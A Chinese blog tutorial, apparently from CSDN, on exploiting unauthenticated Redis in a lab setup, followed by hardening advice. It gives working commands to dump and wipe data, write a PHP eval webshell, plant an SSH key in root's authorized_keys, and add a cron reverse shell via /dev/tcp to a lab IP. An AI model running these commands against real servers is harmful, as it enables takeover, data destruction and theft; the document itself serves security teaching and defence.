Redis未授权访问漏洞

本文详细介绍了Redis未授权访问带来的安全风险,包括信息泄露、数据删除、写入webshell、ssh公钥注入以及反弹shell的步骤。同时,也提出了相应的漏洞修复措施,如设置密码、限制访问和保护authorized_keys文件等。
摘要由CSDN通过智能技术生成

介绍

Redis默认配置是不需要密码认证的,也就是说只要连接的redis服务器的host和port正确,就可以连接使用。因此如果配置不当(没有启用redis的认证密码),可以造成上传webshell,数据库泄露,代码执行,敏感信息泄露,写入ssh公钥,利用计划任务反弹shell等
环境:kali(vps) 192.168.188.128
kali(web服务器) 192.168.188.158
当用Namp扫描发现6379端口对外开放时,用web服务器连接vps
在这里插入图片描述

基本命令

Config set dir [path]: 决定文件的写入路径
Config set dbfilename [filename] :决定文件名
Set key value: 确定文件的内容,key值任意即可,value为文件内容
save命令: 确定以上所有操作并生成文件

漏洞利用

1.Redis未授权访问获取敏感信息

命令:info
在这里插入图片描述
可以看到redis的版本信息,操作系统的内核信息,配置文件的绝对路径
可以看到里面的key及对应的值
命令:
keys * (显示所有key)
get foo (获取对应key的值)
在这里插入图片描述

2.Redis删除数据

命令:
flushall (删除所有数据)
del key (删除键为key的数据)
在这里插入图片描述

3.写入webshell

注意:用redis写文件会出现一定的乱码,只要在数据前后加上至少三个\n就解决了,如果不加的话,会导致shell执行失败
命令:
config set dir /var/www/html
config set dbfilename shell.php
set x “\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n”
save
在这里插入图片描述
在这里插入图片描述
可以看到vps该目录下已经生成此小马,然后用菜刀连接即可

4.写入ssh公钥

利用原理:ssh免密码登录,方法为使用“公私钥”认证,在客户端上创建一对公私钥,然后把公钥放在服务器上,在ssh登录时候,ssh会发送私钥和服务器上的公钥做匹配,如果匹配成功则可以登录。
利用条件:redis服务使用root账号启动
redis服务无密码认证或者使用弱口令进行认证
服务器开放了ssh服务,且可以使用密钥登录
(1)先在本地生成ssh公私钥文件
命令:ssh-keygen -t rsa
在这里插入图片描述
可以看到第一个红箭头是连接ssh的密码,第二个红箭头(id_rsa.pub)是生成的ssh公钥文件,id_rsa是你的私钥
(2)将该公钥写入test.txt中,前后各加三个\n
命令:(echo -e "\n\n\n";cat /root/.ssh/id_rsa.pub; echo -e "\n\n\n") > /home/hdh/test.txt
在这里插入图片描述
(3)将test.txt写入靶机
命令:
cat /home/hdh/test.txt | redis-cli -h 192.168.188.128 -x set crackit
config set dir /root/.ssh/
config set dbfilename authorized_keys
get crackit
Save
在这里插入图片描述
在这里插入图片描述
这里是设定了crackit的键值为公钥,并通过redis命令变更Redis DB文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里。
在这里插入图片描述
(4)用ssh进行连接
命令:ssh root@192.168.188.128 或者ssh -i id_rsa root@192.168.188.128
在这里插入图片描述
因为我生成公私钥是没有写密码,因此可以直接登录

5.反弹shell

命令: set shell “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.188.158/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
Save
Redis设置一个shell为key,每一分钟向192.168.188.158的4444端口发送一个bash交互式请求,然后利用config命令保存定时任务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
理论可以返回shell,这里一分钟后仍没有返回

漏洞修复

网上收集的一些修复建议:

禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址

以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword

禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1

保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
#chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
#chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

参考链接:https://www.freebuf.com/column/158065.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值